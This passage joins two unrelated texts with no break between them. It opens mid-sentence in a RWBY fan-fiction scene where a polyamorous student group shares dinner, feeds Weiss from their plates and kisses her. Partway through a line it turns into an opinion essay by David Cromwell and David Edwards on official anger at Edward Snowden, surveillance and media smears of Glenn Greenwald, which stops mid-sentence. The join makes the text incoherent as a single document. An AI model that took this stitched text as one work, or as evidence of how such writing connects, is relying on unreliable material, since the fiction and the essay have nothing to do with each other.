ask for a signed permission slip and a doctor’s note? We’re rubbing off on you, Weiss.”  “Or not, in this case.” Blake said, ignoring how Yang giggled and held up a hand for a high five.  “Pyrrha, we’re meeting Weiss tomorrow, right?” Jaune asked. “Pyrrha?”  Ruby reached over the table and slapped Yang’s hand. Laughing, Yang kissed her forehead. “Thanks, sis.”  “Pyrrha? Weiss? I’ll wash my sheets! I’ll buy nice boxers! Come on, please?” Jaune’s voice grew higher in pitch with desperation.  Pyrrha slowly moved her hand down to a more respectable position. “Weiss? We did have a slot. And we can use my bed if his detergent still bothers you.”  “It wasn’t the detergent, it was talking about how his mother used to do his laundry while we were trying to be intimate,” Weiss said, “and yes. We’re on for tomorrow.”  “Yes!” Jaune looked as if he was about to break down in joyous weeping, but after a few sniffles, he rallied and adopted what he probably thought was as a cool, detached pose. “I mean, naturally. Who can resist nabbing a prime spot on Team Jaune’s Manly–”  Weiss promptly stopped listening.  Over in the corner of the booth, Weiss could hear the pages of Blake’s book rustling as the Faunus resumed reading. Blake’s attention was a relatively fickle thing. Weiss would have called it catlike if she didn’t think the comparison would earn her a week of More Silent Than Usual Treatment, or a talking to that could easily rival one of her father’s when she was less than a perfect figurehead at Schnee Dust’s corporate luncheons.  Jaune aside, the others didn’t exactly let her get away with her more 'difficult’ moments. Pyrrha had given her more vaguely disapproving looks than Weiss cared to count, and her and Yang’s arguments were legendary in the dorms for their sheer volume and frequency, but only Blake could make her challenge the foundations on which she’d built her world. It was rarely pleasant at the time, but neither was having a broken bone set, and both were necessary if the wound was to heal properly.  “Blake,” Weiss said, quietly enough that she would have doubted Blake could hear if one velvet-furred ear hadn’t twitched in her direction, “thank you.”  Blake hesitated before responding. “Next Thursday is mine. Thank me then.” For once, Weiss didn’t think she was imagining the blush that darkened Blake’s cheeks.  The conversation soon splintered off, as it usually did. Even with Weiss attempting to direct everyone, it was nearly impossible to keep them on the same topic without the promise of sex or fighting to hold their attention. Ruby, Yang, and Nora took turns making a goal with their fingers while the others tried to flick the sole surviving sugar packet through it. Ren kept score on his napkin, implacable and impartial despite Yang’s demands he count Ruby’s near misses as goals.  Jaune and Pyrrha were making plans for tomorrow, voices hushed and expressions guilty enough that Weiss made a mental note to leave her sources with Blake before she left to meet them. She wasn’t about to take a risk with her grade point average, not for anyone.  It was rare for Weiss to have a moment like this, where she was more of an observer than a sometimes eager, sometimes thoroughly annoyed participant. Petty difficulties and embarrassments aside, Weiss couldn’t remember having felt more happy. Perhaps it was some cosmic joke that just when she resigned herself to loneliness, to the empty chill that clung to the inside of her ribcage like sickness and frost, she was surrounded by enough love she found it difficult to keep an insipid smile off her face at all hours of the day.  The Sugar Packet Semi-finals had reached its instant sudden death round by the time the waiters brought out their food and managed to match each plate to the appropriate person. Just the scent of all the dishes was enough to make Weiss’ mouth water. While she had the good sense not to fill up on bread like the others, now it was difficult to resist diving right in, but somehow she’d manage. They would never know just how many sacrifices she made for them.  Weiss clinked her knife against her glass. “Before you start stuffing your faces, I’d like to say a few words. It’s been nearly a year since we first started this, well, whatever we’re calling our logistical nightmare of a relationship, and I’m happy to announce… I’m happy… I…”  The rest of the speech was neatly written out on note cards in her purse, all three thousand fifty-seven words of it, but what seemed perfectly well-thought out on paper now tasted painfully artificial on her tongue. She might as well have been reading Schnee Dust’s quarterly reports for all the genuine emotion in it.  “Yeah, Weiss?” Ruby said, squeezing her knee encouragingly.  Weiss sighed. “Just thank you. All of you.”  Pyrrha pulled her into a one-armed hug and kissed the top of her head. “We love you too.”  “Lots!” Nora took a bite of her bread pudding, syrup dripping from the corners of her mouth. “Lots and lots and lots and–”  “Yeah, er, you…” Jaune nervously brushed his hair back from his face. “You’re so pretty and smart and really kind of intimidating…” He looked to Pyrrha for support, forehead already starting to glisten with fear-born perspiration. “And I never knew these sorts things existed where you can date more than one person at once but, but, but I’m so happy they do 'cause-you-and-Pyrrha-are-the-best-thing-to-ever-happen-to-me,” he finished in a rush.  “–and lots and lots and lots and lots. How many was that, Ren?”  “Thirty-nine,” he answered. “Sounds accurate.”  Though Blake’s voice was tinged with an overly forced edge of boredom Weiss knew meant there was emotion bubbling just underneath the surface, those amber eyes were anything but cold. “It could use a few more 'lots’.”  “I’ll give the two of you a whole lots more later,” Yang said, grinning, “but seriously, Weiss, you’re not chore to be around most of the time, so don’t thank us or anything.”  Weiss buried her face in Pyrrha’s shoulder, her mouth twisting, unable to settle on a smile or the grimace of someone trying to choke back tears. It wasn’t fair when they all ganged up on her like this. She could bear fractional confessions and implications, but being surrounded on all sides by their affection was like staring into the sun and expecting not to be blinded.  Something brushed over the bare skin of Weiss’ arms, and she didn’t have to look to recognize it was Ruby’s cape. She knew every inch of the red fabric, worn from repeated washings with cheap detergent and smelling faintly of roses, metal, and gunpowder.  “Weiss,” Ruby nuzzled her jaw, bangs tickling Weiss’ cheek, “always and always, okay?”  “Okay,” she mumbled.  “Why don’t we eat now,” Pyrrha suggested and Weiss quickly nodded, grateful for the reprieve.  It was difficult to swallow past the tightness in her throat, but fortunately cobb salad was easier to get down than a half dozen love confessions. She speared leaf after leaf of iceberg lettuce, waiting for her face to return to some semblance of its normal shade of sun-starved white.  “Weiss, this pasta is so good,” Ruby said, her plate nearly half-empty, fork little more than a silver blur as she shoveled noodles into her mouth in between words. Like Nora, she usually ended up wearing as much food as she ate, and red sauce was already smeared around her mouth as if she were some Beowolf devouring a fresh kill. “You’ve got to try some.”  Before Weiss could decline, Ruby held out a forkful, her free hand protectively cupped underneath to keep any sauce from dripping on Weiss’ dress.  “What have I said about talking with your mouth full,” Weiss asked, shying away from the fork and all the potential stains it carried with it. She hadn’t maintained an almost completely white wardrobe since she was seven years old by being careless with her clothing.  “Stop being such a meanie and try it.” Ruby inched the fork closer, making train noises. “If you don’t open up, all these people are gonna miss their connections and that’ll throw the whole pasta train schedule out of whack. Think about it, Weiss. All that planning. Ruined.”  Weiss didn’t think it was physically possible to roll her eyes as hard as that ploy deserved. “Ugh, alright. But only because I expect a few minutes of peace in return.”  Ruby nodded happily and held the fork up to her lips. “Say 'ah’.”  With one last pointed sigh to make it clear that while she might have to conceded to Ruby’s whims, she had no plans to enjoy it, Weiss opened her mouth and let Ruby slide the fork inside. The tomato sauce was heavy and rich on her tongue, her palate not quite sophisticated enough to pick out each spice individually.  “Is it good? Do you like it?” Ruby paused, squinting at her mouth. “Wait, you’ve got some stuff on your face.” Instead of handing her a napkin like any normal person, Ruby licked her thumb and tried to start scrubbing the stray smear of red from the corner of Weiss’ mouth.  “Ruby!” Weiss hissed, scandalized, as she managed to jerk her head back just in time to avoid having saliva rubbed into her skin.  Ruby huffed in frustration and caught Weiss’ face in her hands, kissing her instead. “There, better?”  Weiss swallowed hard, barely resisting the urge to lean into Ruby’s palm. “Perhaps somewhat.”  A faint tingle on the back up of her neck prompted Weiss to glance up only to find that the others were all staring at her, their eyes reflecting a hunger that would have been better directed towards their meals.  “Hey, Weiss, you want to try some steak too?” Jaune asked, breaking the tension with all the grace of someone tossing a bucket of pig blood into shark-infested waters. The way he nervously licked his lips and attempted to subtly cup a hand over his mouth and check his breath left no doubt in Weiss’ mind which aspect he wanted to imitate.  Pyrrha sliced off a bit of salmon with the side of her fork. “Or you could have–”  “Weiss, listen, this pork is unbelievable,” Yang interrupted, indicating her own plate with a jerk of her head. “And it’s not the only thing.”  “That may be so, though the fish is quite grand–” Pyrrha started again.  Jaune stabbed his fork into his steak hard enough to rattle the plate underneath. “But mine’s got au poivre, Weiss. It’s fancy like you.”  Pyrrha’s forehead wrinkled in a frown. “Actually, I asked the chef to make certain it didn’t–”  “This looks like fun!” Nora said, bouncing in place and occasionally into Ren. “Weiss, Weiss, have some of mine too.”  Pyrrha’s hand left her thigh, clenching into a fist. Black light leaked out from between her fingers as her semblance flared, and every bit of metal in the room seemed to move imperceptibly closer to her. Weiss could almost feel some echo of it in herself, as if Pyrrha was calling to the iron in her blood, the trace metals in her bones. With a sharp jerk, Pyrrha wrenched her fist down and everyone’s silverware clattered to the table.  While the others gave up after a few seconds of pointless tugging, Yang tried to pry her fork free with nothing more than brute force. She stood up in order to get better leverage, the hard muscle in her arms rippling and straining, but even her best effort couldn’t move it a fraction of an inch.  Frowning, she flopped back down. “That’s so not fair.”  “I’m sorry.” Pyrrha had the grace to look somewhat embarrassed, not that she let it stop her from offering Weiss the salmon.  Weiss was quick to accept the morsel and the kiss Pyrrha pressed to her lips right after, despite the grumbling from the others. Balancing the wants and needs of seven different partners was a complicated dance that Weiss was only just beginning to master, but that in no way meant she had to say 'no’ to Pyrrha Nikos. Five time winner of the Mistral Regional Tournament. Top of her class at Sanctum. Part. Time. Model.  “Does it meet your standards?” Pyrrha asked, fingers still lightly gripping Weiss’ chin. In her tight, red dress with her hair plaited down her back, she looked as if she had just stepped out from some high class photo shoot.  Weiss had always appreciated painting or sculpture more than she did photography, but the way that light and shadow outlined the angles of Pyrrha’s face, limned the heavy shift of muscle in her arms, darkened her normally spring green eyes to emerald, was nothing short of art, and deserved to hang in a museum even if the woman herself couldn’t.  “More than acceptable,” Weiss breathed.  “Splendid.” Pyrrha’s smile could have bankrupted the country if the marketing companies ever decided to slap it on another line of over-priced cereals.  Across the table from them, Jaune made another half-hearted attempt to free his silverware. “Pyrrha, please, I’m so hungry.”  “Oh, sorry.” This time Pyrrha actually sounded genuinely contrite, but instead of releasing her semblance, she speared another piece of salmon on her fork and held it out to him. “Here. As team leader, you really need to keep your strength up.”  Jaune nervously looked at the others before shrugging helplessly and letting Pyrrha feed him. This was one struggle in which he had Weiss’ full sympathy, even if she couldn’t stop the momentary pang of jealousy that losing Pyrrha’s undivided attention provoked.  “What, are we gonna have to eat with our hands now?” Yang asked, prodding her pork chop with a finger.  “It does seem that way,” Pyrrha said lightly. Despite being one of the more unbearably decent people Weiss knew, Pyrrha never lost a competition. Not even one as ridiculous as this was turning out to be. “Or you could all try some salmon. The portions here are far too large, it isn’t very healthy.”  Nora shook her head. “Nope nope nope, I don’t like fish. I don’t even sort of like fish. The only one I liked a little was that fish-shaped Grimm, and he fell apart too quickly to be any fun. And I didn’t get to give Weiss any of my food.” The last bit was said with as close to a pout as Nora’s eternally perky expression could manage.  “Here,” Ren reached over, grabbed Weiss’ fork, and handed it to Nora. Though it made sense why Pyrrha wouldn’t have pinned her silverware down with the others’, Weiss was more than a little annoyed with herself for not realizing it sooner. Ren’s situational awareness was something she admired and coveted in equal measure.  “Ooh, thanks, Ren!” Nora scooped up a chunk of bread pudding big enough to choke an Ursa and shoved it into Weiss’ mouth. “Eat up!”  Weiss barely managed to swallow, praying the entire time that she wouldn’t be the first huntress to have her cause of death listed as 'confectionery’, when Nora pulled her into a kiss, tongue licking the lingering sweetness from the inside Weiss’ mouth.  “See? Way more fun than fish,” Nora said as if that had somehow proven her point, though Weiss was too stunned to offer any sort of rebuttal.  Pyrrha hummed thoughtfully, turning Weiss’ face towards her and pressing a kiss to the corner of her lips. “Apart from the Pumpkin Pete commercials, I had to maintain a strict diet for my training regimen. I may have lost most of my taste for sweets.” Her thumb traced the heart-shape of Weiss’ mouth. “But there are exceptions.”  “Hbluh,” Weiss added helpfully.  “Weiss? You there?” Ruby waved a hand in front of her face. “I think you guys broke her.”  Blake gave a quiet laugh. “She’s fine. Watch. Weiss, complain once if you’re alright, twice if we need to take you to the hospital.”  “Excuse me?” Weiss sputtered. “For the last time, Blake Belladonna, I don’t complain! Don’t say that about me! If the rest of you would simply do everything right the first time, I wouldn’t need to correct you nearly as often.”  “It was a little long, but I think that counts as one.” The Faunus didn’t even glance at her, responding to Ruby.  “You’re absolutely insufferable, I hope you know that, Blake.” Weiss jabbed a finger at Ruby’s chest. “And don’t smirk. Right now, I’m not so fond of you either.”  “I don’t think you complain a lot, Weiss,” Jaune said, trying to grab Nora’s fork, though her strength and Ren’s reflexes made the task nearly impossible. “I mean, yeah, you like to yell, but yelling can be – c'mon, give it! – good for you. My mom always says that – ow, ow, you’re gonna break my finger! – assertiveness is a really attractive trait in – Nora, stop, please! – a nice girl.” Yelping, he clutched his hand to his chest, a livid red bitemark already bruising on the webbing between his thumb and forefinger. “Pretty please just let me borrow it for a second. I’ll give it back right after.”  Ren shrugged. “He did say 'please’.”  “Well,” Nora drew out the syllable for most of a breath, “okay, sure.”  Face lighting up, Jaune stabbed the fork into one of his pre-cut cubes of steak. No matter how Weiss tried to train him out of it, he always spent the first few minutes of every meal slicing his food into little pieces like he was preparing a plate for a child. The habit might have been endearing if he didn’t do it in public, which frankly was a good summary of most of his personality.  “So, uh,” Jaune puffed out his chest as if he was some victorious warrior returning from the hunt instead of a scraggly, skinny man, practically drowning in the excess material of a suit he borrowed from his father, who Weiss was inexplicably attracted to, “you want to do me the honors, snow angel–”  “Don’t.” Weiss covered his hand with her own and brought it to her mouth. It was crass to pick the most expensive item on the menu simply because it was the most expensive, but she had to admit the steak was worth every last lien, juicy and pink and putting up the perfect amount of resistance before falling apart under her teeth.  Jaune smiled hesitantly. “Good, right? Can I… um, you know… kiss you now?”  “Hmm,” Weiss drummed her fingers on the tabletop, pretending to think it over, “yes, I suppose you may.”  While Jaune had improved significantly with Pyrrha’s help, his kisses were still a little on the unpleasantly damp side for Weiss’ taste. That didn’t stop her from winding one hand in his tie and cupping his jaw with the other, the few spots of stubble he missed shaving that morning rough against her palm.  Just before they parted, he opened his eyes, and Weiss was struck by just how blue they were, deeper and richer than her own as the ocean was to a glacier. At the moment, Jaune was more of a professional and academic liability than an ally, if she was inclined to think in purely pragmatic terms, but at times she could see the outline of the man he might become, and she looked forward to meeting him someday.  “Alright,” Yang said, holding out a hand to Jaune as he sat back down, “my turn.”  Jaune clutched the fork to his chest. “No way! Besides it’s Nora’s fork, so ask her.”  “As a matter of fact, it’s my fork,” Weiss said, “and while I appreciate the attention, why don’t we quietly finish our own meals before the restaurant closes.”  Rolling her eyes, Yang ripped off an strip of pork with her fingers. “Sure, we’ll call that Plan Boring. Lucky for us, I’ve got a better one.”  Weiss wasn’t entirely certain whether she meant to address the insult of the first part of Yang’s response or thinly veiled threat in the second half, but the moment she opened her mouth Yang reached across the table and popped the pork inside, fingers and all.  Weiss froze, this time stunned from a combination of disbelief and indignity. “Yang,” she said, the words barely intelligible with her mouth as full as it was, “you have three seconds to remove–”  “Sorry, babe, I can’t understand you.” Yang pulled her hand back and wiped it off on the skirt of her dress.  It was difficult to chew furiously, but Weiss thought she managed to get the point across. “I said,” she repeated, enunciating each word with cold precision, “that you had three seconds to get your grimy fingers out of my mouth before I bit them off, which I assure you I’ll do without hesitation if you ever pull that kind of stunt again.”  Ruby gently patted her shoulder, as if she was trying to soothe a wild animal, though she knew better than to open her mouth and make herself a target.  Unlike her sister, Yang did not. “That’s not what you said a few nights ago. Do I get another smooch?”  “I’m not rewarding bad behavior, and you’ve already had plenty of intimate contact this evening.” Weiss held out for about three seconds before she roughly grabbed Yang’s hand and pressed a kiss to her fingertips. “There. I don’t want to hear anymore out of you.”  Yang traced an 'x’ over her heart, which had the almost certainly intended consequence of drawing Weiss’ attention to her chest. Red-faced, Weiss tore her gaze away in time to see Ren hold out a forkful of his eggplant parmesan. Judging by how Jaune glowered at him, he had only just reclaimed the silverware.  Wearily, Weiss opened her mouth. He was being more polite about it than Yang had been, and that deserved some recognition, though she was already beginning to feel uncomfortably full. She barely tasted the food, swallowing quickly and closing the distance between them to kiss him softly on the lips.  Kissing the others was always many things, passionate, awkward, all too often frustrating beyond belief, but it was rarely ever slow. Ren was different, methodical in his approach, until Weiss was the one gasping into his mouth and pulling at his collar, her nails catching on the slick material of his suit jacket.  Nora sighed happily and leaned partway over the table to get a better view. “You two are so cute together,” she said, brushing Weiss’ hair back from her face.  Ren kissed Weiss’ forehead before he sat down, the warmth from his lips lingering much longer than it had any right. “No more than you and her.”  Nora wound her arms around his neck in an embrace that was nearly as much a chokehold as it was a hug, and blew a raspberry on his cheek. “Shush, arguing with the true king of Maple Syrup Village is treason. Or maybe it was Candycane Village. It was the one with the Beowolf pile.”  “Candycane, but it was by the maple syrup river,” he answered, undisturbed by the headlock. “I don’t think they have capital punishment there.”  “Plus,” Ruby said, “good kings can’t execute people. At least, in all the bedtime stories Yang used to read to me, they never did.”  Blake let out a sharp huff of laughter. “There’s a world of difference between can’t and shouldn’t, Ruby. Speaking of which,” the Faunus glanced sidelong at Weiss, “I haven’t had my turn with you.”  “Your turn with me?” Weiss repeated, incredulous. “I’m not some amusement park ride, you dunce. Besides,” she added, seeing Blake’s plate was already scraped clean, “you don’t have anything to offer, do you?”  Instead of responding right away, Blake took a long sip of wine. Though Weiss knew for a fact that they were drinking the exact same vintage, the wine in Blake’s cup seemed darker than hers, bloody crimson without the light shining through it. “We both know that isn’t true.”  Weiss might have snorted if ten years of etiquette schooling hadn’t trained it out of her. “Fine, then,” she said. “Impress me.”  Arching a brow, Blake raised the glass once more. That sort of stalling might have been mildly interesting the first time, but trying it twice only meant Blake had absolutely nothing to back up those words. Weiss would have been happy to say as much, loudly, but Blake leaned over Ruby’s lap and yanked her into a kiss, shadows licking their skin as Blake’s semblance flared.  Nails that were more like claws pricked the skin on Weiss’ cheek and the back of her neck. They hadn’t drawn blood, nor would they without Weiss’ explicit permission, but the quiet threat sent a shiver down the length of her spine. Blake’s hair was slicked back for the night, highlighting the sharply-angled cheekbones and molten amber eyes that never failed to make Weiss’ breath catch. The rest of that ink black mane spilled over the collar of Blake’s suit, nearly indistinguishable from the equally dark fabric.  Blake was half Weiss’ nightmares and half her most private daydreams, so when the Faunus shifted to deepen the kiss, Weiss simply tipped her head back and gave. At first it was nothing more than the hot, gentle pressure of lips against her own, but then Weiss tasted wine, spilling into her mouth from Blake’s.  Or at least she assumed that was the intention. A great more of it ended up dripping down her chin than in mouth. She quickly broke the kiss, scrabbling for her napkin and trying to sop up the mess before it stained her clothing.  “Are you really that dim,” she hissed, napkin clamped firmly over her mouth, “don’t you know that only works in your trashy romance novels? What were you thinking? Or were you even thinking at all?”  Faunus ears pinned flat, Blake answered back, defensively, “It’s not as easy as it looks.”  “I’d give you points for style and take a few back for execution,” Yang said, shrugging.  “Yeah, you were really cool right up until the end,” Ruby agreed. “I could feel Weiss shaking.”  “Excuse me? I was not shaking.” Weiss turned to Pyrrha. “Was I shaking?”  Pyrrha hesitated for a moment. “Perhaps a light tremble?”  Weiss didn’t have to look to know Blake’s expression had settled into something unbearably smug. Luckily for the Faunus, her dress had escaped the debacle unscathed, so Weiss could find it in herself to graciously let the matter rest. “Ugh, I don’t care enough to argue with you. Now that I’ve sampled everyone’s meals and, er… and affections, can we finish our dinner like respectable people?”  Ruby pouted, lower lip quivering in a manner Weiss would have found exasperating on anyone else. “But I didn’t get to go.”  “You can’t possibly be serious. You’re the one who started this!”  “Nope,” Ruby said firmly, shaking her head, “it wasn’t a thing when I did it, but now it’s definitely a thing and I want my turn if that’s a thing you like and are okay with.”  “Wait, you used 'thing’ too many times, I’m confuse–” Weiss started.  “I’ll explain!” Nora interrupted, slamming her palm down on the table to get their attention. “Ruby meant that at first it was only a regular thing, but that when we all started doing it, it became a thing-thing. And since she only got to do the thing and not the thing-thing, Ruby wants to know if you’re okay with her being part of the thing-thing thing.”  Weiss stared blankly at her. “That didn’t help in the slightest.”  “I can draw you a diagram,” Ren said, fishing his scroll out of a sleeve.  “No, no, that’s quite alright,” Weiss said quickly. “If it keeps the explanations to a minimum, then yes, I’m perfectly fine with whatever needs to occur for this to be over.”  “Way to be enthusiastic about it,” Ruby grumbled, already knuckle-deep in pasta. Weiss could feel what little remained of her appetite waning as Ruby picked through the noodles to find one she hadn’t already bitten into tiny fragments. It was all she could do not to mentally list all the things she knew Ruby had touched since she last washed her hands.  “Oh, I’m sorry. Let me try again. Thank you, Ruby, for letting me eat cold pasta out of your grubby hands like I’m a barnyard animal.” The zip of Weiss’ dress. The windows in the limo. Countless doorknobs between Beacon and the restaurant. The menus, and only god knew how many other people had touched those. Ruby’s hands really were filthy. “There, was that better?”  Ruby settled on a noodle and held it up, pinched between her thumb and forefinger, sauce slowly dripping down its length. “Okay, first of all, it’s lukewarm at worst. At worst. And second, you’re way cuter than a donkey or a chicken, so it’s not even a little bit the same.”  Insulting that response would have been giving it far too great an honor. Of course she was more attractive than a chicken. Even Jaune was better looking than that, and he paraded around in footie pajamas with his name written in marker on the collar.  Never breaking eye contact, Weiss opened her mouth and waited. Fortunately, Ruby opted not to waste any more of their time and raised the noodle up high, ready to feed it to Weiss when she lost her grip. The noodle flopped limply on Weiss’ collarbone, clung for a moment, then slithered down between her breasts, warm enough that it nearly felt like a living thing and leaving a watery trail of tomato sauce behind it.  “You– you–” Weiss started, hands frozen in mid air, caught between tearing at her own clothing and tossing the rest of the pasta in Ruby’s face. Grinding her teeth, she fished the noodle out of her bra and dropped it on the table the same way she might handle a pair of Jaune’s boxers.  Ruby wasn’t faring any better, her mouth hanging open in surprise. “That– I–”  “Aw shit, we’ve got a Code Orange.” Yang looked as if she was ready to throw herself in front of Ruby if the situation came to it. “Pyrrha, take your top off. You’re the only one who can save my sister now.”  “I don’t think that will be necessary,” Pyrrha said. Despite her words she still rested a calming hand on Weiss’ shoulder. “After all, mistakes happen and I’m certain Ruby will apologize in a moment.”  “Ruby,” Jaune whispered, “run.”  Ruby swallowed hard and somehow found her voice. “I’m really super sorry, Weiss. It was an accident and it won’t happen again, I promise. Did I mention I’m really, really, really sorry?”  “You. You are going to spend all night scrubbing the stain out of this dress if that’s what it takes. Do you understand me, Ruby Rose?” Weiss was breathing hard by the end of the outburst, the words having come out in a furious rush. When Ruby shakily nodded, her expression softened. “Good,” she said, kissing Ruby’s cheek. “And if it does happen again, you’re done for.”  The rest of the meal passed in relative peace. Between the wine she’d drunk and the heavy weight of food in her stomach, Weiss found it difficult to keep her eyes open. She slumped against Pyrrha’s immovable form, dozing just enough that every jaw-creaking yawn startled her completely awake. Ruby cuddled close on her other side, her cape spread over the both of them like a shabby blanket.  The waiter didn’t get the chance to put the check down before Weiss whipped out her credit card with as much speed and menace as she drew Myrtenaster. Coffee and dessert were out of the question, and with Ruby so close, it would be impossible to keep her from seeing the total if Weiss bothered to glance at the bill. There had already been far too much excitement for the evening.  When the receipt came, Weiss managed to shove Ruby off her just enough to sign her name with a flourish and a generous tip. Discretion deserved a three-figure reward. Her father might tacitly ignore 'youthful indiscretions’, but a scandal would burn through the last grudging shreds of his patience faster than Weiss cared to imagine. In the interests of not testing the restaurant’s patience any further, Weiss herded everyone towards the door the moment the ink was dry on the final 'e’.  The cool night air was refreshing after being cooped up inside for so long. If she didn’t breathe too deeply, the smell of rain and grass almost overpowered the city’s omnipresent tang of car exhaust and people. While the others wandered ahead, moving with no great hurry towards the street corner where the limo would pick them all up, Ruby hung back by Weiss’ side.  Moonlight always tended to steal the color from Weiss’ skin, bleaching her to marble and snow, but the night couldn’t dim the bright crimson of Ruby’s cloak, the silver of her eyes. She was taller now than when they first met, to the point where even Weiss’ most excruciating pair of heels couldn’t compensate for the difference in height. They weren’t children any longer, but Ruby bore the most obvious signs.  “Wanna get some ice cream before we go home?” Ruby held out a hand, grinning hopefully.  Just the thought of eating another bite made Weiss’ stomach heave, though she didn’t let the slightest hint of it show on her face. “Absolutely.”  Ruby had a bad habit of calling any place she lived more than a month 'home’, as if all she needed to feel safe and loved was a roof over her head, enough reception on her scroll to call her father once in a while, and Yang. She’d sown pieces of her life in dorm rooms and apartments across Vale as easily as a gardener planted flowers, while Weiss lived in the same mansion since she was born and couldn’t think of it as anything more than a residence.  But now, she could see it in the way Jaune and Pyrrha held hands as they walked. In how Nora would skip ahead of Ren and then stop every ten yards, patiently waiting for him to catch up. In Blake’s Faunus ears flicking back and forth in the night air, unbound despite the risk. In the curve of Yang’s smile as she watched the others. In the hand Ruby held out to her.  If this wasn’t home, nothing was.
-By David Cromwell and David Edwards  Reports of Washington's anger directed at surveillance whistleblower Edward Snowden indicate a basic truth about power. Noam Chomsky has expressed it as the underlying problem for genuine democracy, even in so-called 'free' societies:  'Remember, any state, any state, has a primary enemy: its own population.' (Noam Chomsky, Understanding Power, edited by Peter R. Mitchell and John Schoeffel, The New Press, 2002, p. 70.)  Anyone who steps out of line, especially if they defy authority's attempts to apprehend them, risks severe punishment. All the more so because it is important to publicly discipline miscreants, lest the threat of a 'bad' example become a contagion sweeping through society.  Snowden was denounced by Dick Cheney, the warmongering former US vice-president, as a 'traitor' and a possible spy for China. Senator Dianne Feinsten, chair of the US Senate intelligence committee, told reporters that Snowden had committed an 'act of treason'. There was 'undisguised fury' amongst many US politicians at Snowden's slipping away from Hong Kong and arriving at Moscow airport where he continued to evade detection. General Keith Alexander, director of the National Security Agency, complained that Snowden 'is clearly an individual who's betrayed the trust and confidence we had in him. This is an individual who is not acting, in my opinion, with noble intent.'  Given the source of such accusations – largely senior officials in the current and previous US administrations - rational observers will be unimpressed. As Norman Solomon correctly points out:  'The state of surveillance and perpetual war are one and the same. The U.S. government's rationale for pervasive snooping is the "war on terror," the warfare state under whatever name.'  Solomon issues a warning:  'The central issue is our dire shortage of democracy. How can we have real consent of the governed when the government is entrenched with extreme secrecy, surveillance and contempt for privacy?'  Washington and its allies, sold to the public by the media as 'the international community', are well aware of the stakes. The general population must be subdued and kept in its place. Obama and his officials in the government, and the US intelligence community, need to assert strenuously that Snowden's exposure of the massive US secret surveillance programme aids and abets 'the enemy', and damages international relations.  Snowden's revelations were brought to light by US journalist Glenn Greenwald in the Guardian. He correctly noted that a campaign of demonisation would attempt to deflect attention from the substance of Snowden's revelations, and focus instead on Snowden's personal background and any alleged character defects. Indeed, early reports relentlessly described Snowden as 'a high school dropout' or focused on his 'heartbroken' and 'abandoned' 'dancer girlfriend'. On June 24, the first edition of the Independent referred to 'fugitive Snowden' in the headline to an article by Shaun Walker and David Usborne. The 'impartial' BBC also referred to Snowden as a 'fugitive', when 'whistleblower' would be more accurate, and certainly less loaded. Even the Guardian has referred on several occasions to Snowden as a 'fugitive'.  Nick Cohen, a laptop war propagandist not known for any 'Fast and Furious'-style heroics, predictably smeared Snowden as 'a coward':  'If you run, you look like a coward. It may be that you have good reason to be cowardly. It may be that anyone else in your position would run as far and fast as you do. There is nothing wrong with taking the cowardly course, unless like Edward Snowden, you claim to be engaged in civil disobedience.'  What Snowden did, in fact, was immensely brave and a decent journalist would welcome both his actions and his courage. Solomon put Cohen and his ilk to shame:  'Too rarely mentioned is the combination of nonviolence and idealism that has been integral to the courageous whistleblowing by Edward Snowden and Bradley Manning. Right now, one is on a perilous journey across the globe in search of political asylum, while the other is locked up in a prison and confined to a military trial excluding the human dimensions of the case.'  An admirable Guardian editorial also defended Snowden, saying:  'Those who leak official information will often be denounced, prosecuted or smeared. The more serious the leak, the fiercer the pursuit and the greater the punishment.'  More to the point, this applies to anyone who challenges power effectively. Ironically, the Guardian is describing exactly what it did to Noam Chomsky in 2005.  The editorial added:  'a debate is only possible because of the facts which have been put into the public domain, not by government but by a whistleblower and a still freeish press.'  True, although that passing reference to 'a still freeish press', where in times gone by it would surely have been simply 'free press', is an intriguing hint that the editors concede much of the public may have seen through the façade of the propaganda system.  Inevitably, attempts are now also being made to smear Greenwald, with both the New York Daily News and New York Times attempting to dredge up dirt on the journalist. In an ad hominem piece about Greenwald published on the BuzzFeed website, and illustrated by somewhat sinister-looking photographs, the journalist was cast as 'a figure long viewed even by many on the left as a difficult eccentric.' The article bizarrely carried a quote from someone who said Greenwald was:  'scary — but then I quickly realized that the scariness probably had to do with his short haircut and his intense stare.'  In a live television interview, Greenwald was even asked by NBC News host David Gregory:  'To the extent that you have aided and abetted Snowden, even in his current movements, why shouldn't you, Mr. Greenwald, be charged with a crime?'  Greenwald responded robustly:  'I think it's pretty extraordinary that anybody who would call themselves a journalist would publicly muse about whether or not other journalists should be charged with felonies. The assumption in your question, David, is completely without evidence, the idea that I've aided and abetted him in any way. [...] If you want to embrace that theory, it means that every investigative journalist in the United States who works with their sources, who receives classified information, is a criminal. And it's precisely those theories and precisely that climate that has become so menacing in the United States. It's why The New Yorker's Jane Mayer said, "Investigative reporting has come to a standstill," her word, as a result of the theories that you just referenced.'  Greenwald reports that his home was burgled and, oddly, only a laptop was stolen. As the journalist himself says:  'I would be shocked if the U.S. government were not trying to access the information on my computer.'  The Primary Function Of The State  As important as the revelations of Edward Snowden are, the bigger picture is the overwhelming drive by state power to pursue its own strategic designs, to promote the corporate and financial interests with which it is in league, and to protect itself from any threat from the general population to make government truly work for the public.  The independent journalist Jonathan Cook makes the same point (via Facebook, June 26, 2013) that this is the real significance of the recent shocking revelations about surveillance:  'I've been saying since the first Snowden revelations about the NSA that the goal of all this mass surveillance is not to foil terrorism; it's to prevent all challenges to, or efforts to hold accountable, the corporate elites who are plundering our communities and the planet to enrich themselves.'  Cook quotes from a Guardian article which reveals that a UK police unit called the National Domestic Extremism Unit is monitoring 9,000 political activists:  'In recent years the unit is known to have focused its resources on spying on environmental campaigners, particularly those engaged in direct action and civil disobedience to protest against climate change.'  Cook concludes:  'The tapping of our phone calls and internet activity is being used for exactly the same nefarious purposes: to ensure we remain either docile or intimidated as our political and financial elites grow ever more ostentatious in their depravity and corruption.'  Historian Mark Curtis, who has extensively analysed formerly secret government records for several groundbreaking books, has noted that the primary function of the British state, 'virtually its raison d'être for several centuries – is to aid British companies in getting their hands on other countries' resources.' The British security services have an important role to play in support of 'the national interest':  'As Lord Mackay, then Lord Chancellor, revealed in the mid-1990s, the role of MI6 is to protect Britain's "economic well-being" by keeping "a particular eye on Britain's access to key commodities, like oil or metals [and] the profits of Britain's myriad of international business interests".' (Mark Curtis, Web of Deceit: Britain's Real Role in the World, Vintage, 2003, pp. 210-211.)  A similar picture could be painted of all the major 'democracies', not least the United States.  The shocking extent of the corruption of democracy by big business and its political allies remains mostly off the corporate media's agenda. And corporate-employed reporters and commentators have 